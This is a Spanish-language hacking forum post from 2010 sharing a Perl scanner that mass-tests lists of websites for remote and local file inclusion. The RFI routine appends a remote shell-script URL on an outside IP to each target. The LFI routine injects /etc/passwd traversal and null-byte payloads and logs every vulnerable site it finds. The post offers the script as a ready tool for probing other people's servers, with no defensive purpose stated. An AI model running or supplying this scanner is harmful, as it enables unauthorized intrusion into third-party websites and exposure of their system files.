Scaner RFI and LFI by D4NB4R

Iniciado por dracko.rx, Febrero 25, 2010, 11:52:46 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 25, 2010, 11:52:46 AM Ultima modificación: Agosto 16, 2014, 10:27:44 AM por Expermicid
bue aki les dejo un scaner espero sirva

Código: perl
#!/usr/bin/perl -w
#######################################
#

#     * coded by : D4NB4R

#

#     * Contact: [email protected]

#

#     * Greetz :  Pandora's Box Team  ; CCT TEAM ; Remoteexecution ; Clubhacker ; E-r00t ; Mitm

########################################
#------------------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
########################################
#------------------------------------------------------------------------------------#
########################################
$sis="eq linux";
$cmd="clear";
$cmd="cls";
system("$cmd");
########################################
#------------------------------------------------------------------------------------#
########################################
print "                                            \n";
print "       ---------------------------------------------------- \n";
print "      |                                            *       | \n";
print "      |  ****   *   *   * *****  ***** ****     *  *  **** |            \n";
print "      |  *  *  * *  **  *  *   * *   * *   *   * *   *     | \n";
print "      |  **** * * * * * *  *   * *   * * **   * * *   ***  | \n";
print "      |  *    *   * *  **  *   * *   * *   *  *   *      * |  \n";
print "      |  *    *   * *   * *****  ***** *    * *   *  ***** |    \n";
print "       ----------------------------------------------------     \n";
print "                       :::Options:::\n\n";
print "                      1.  RFI  2.  LFI\n";
########################################
#------------------------------------------------------------------------------------#
########################################
print ":::Option::: ";
########################################
#------------------------------------------------------------------------------------#
########################################
my $option=<STDIN>;
if ($option==1){&RFI}
if ($option==2){&LFI}
########################################
#------------------------------------------------------------------------------------#
########################################
#######
# RFI #
###############################################
#------------------------------------------------------------------------------------#
########################################
sub RFI {
#
print "\n----------------------------------------------------\n";
print "|                       RFI                        |\n";
print "----------------------------------------------------\n";
print "\Introdusca el .txt donde esta la url a escanear\n";
###############################################
#------------------------------------------------------------------------------------#
########################################
$lista=<STDIN>;
chomp($lista);
#
system("$cmd");
#
print "...Escaneando...\n\n";
#
open(LISTA, "$lista");
while(<LISTA>) {
#
my $lista = $_;
chomp $lista;
#
my $rfi= "http://63.247.72.196/cmd?";
#
my $url=$lista.$rfi;
#
my $req=HTTP::Request->new(GET=>$url);
my $ua=LWP::UserAgent->new();
$ua->timeout(20);
my $resposta=$ua->request($req);
#
if($resposta->content =~ /pandora's/){
print "[+] * Encontrado * $url\n";
open(a, ">>RFI.txt");
print a "$url\n";
close(a);
  }else{ print "[-] * No vulnerable * $url\n"; }
}
###############################################
#------------------------------------------------------------------------------------#
########################################
}
#
#######
# LFI #
###############################################
#------------------------------------------------------------------------------------#
########################################
sub LFI {
#
print "\n----------------------------------------------------\n";
print "|                       Lfi                        |\n";
print "----------------------------------------------------\n";
#
print "introdusca el .txt donde esta la url a escanear\n\n";
###############################################
#------------------------------------------------------------------------------------#
########################################
chomp($lista = <STDIN>);
#
system("$cmd");
#
print "....Escaneando....\n\n";
#
open(LISTA, "$lista");
while(<LISTA>) {
#
my $lista = $_;
chomp $lista;
#
@lfi= ('/etc/passwd',
       '/etc/passwd%00',
       '../../../../../../../../../../../../../../../etc/passwd',
       '../../../../../../../../../../../../../../../etc/passwd%00');
#
foreach $bug(@lfi){
#
my $url=$lista.$bug;
#
my $req=HTTP::Request->new(GET=>$url);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);
#
if($response->content =~ /root:x:/ ||
$response->content =~ /root:*:/ ||
$response->content =~ /root:!:/){
print "[+] * Encontrado * $url\n";
open(a, ">>LfI.txt");
print a "$url\n";
close(a);
}else{
print "[-] * No Vulnerable * $url\n";}
  }
}
}
########################################
#-------------------Scaner by D4NB4R --------------------#
########################################
Venta de diseños - Contactar por MP

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login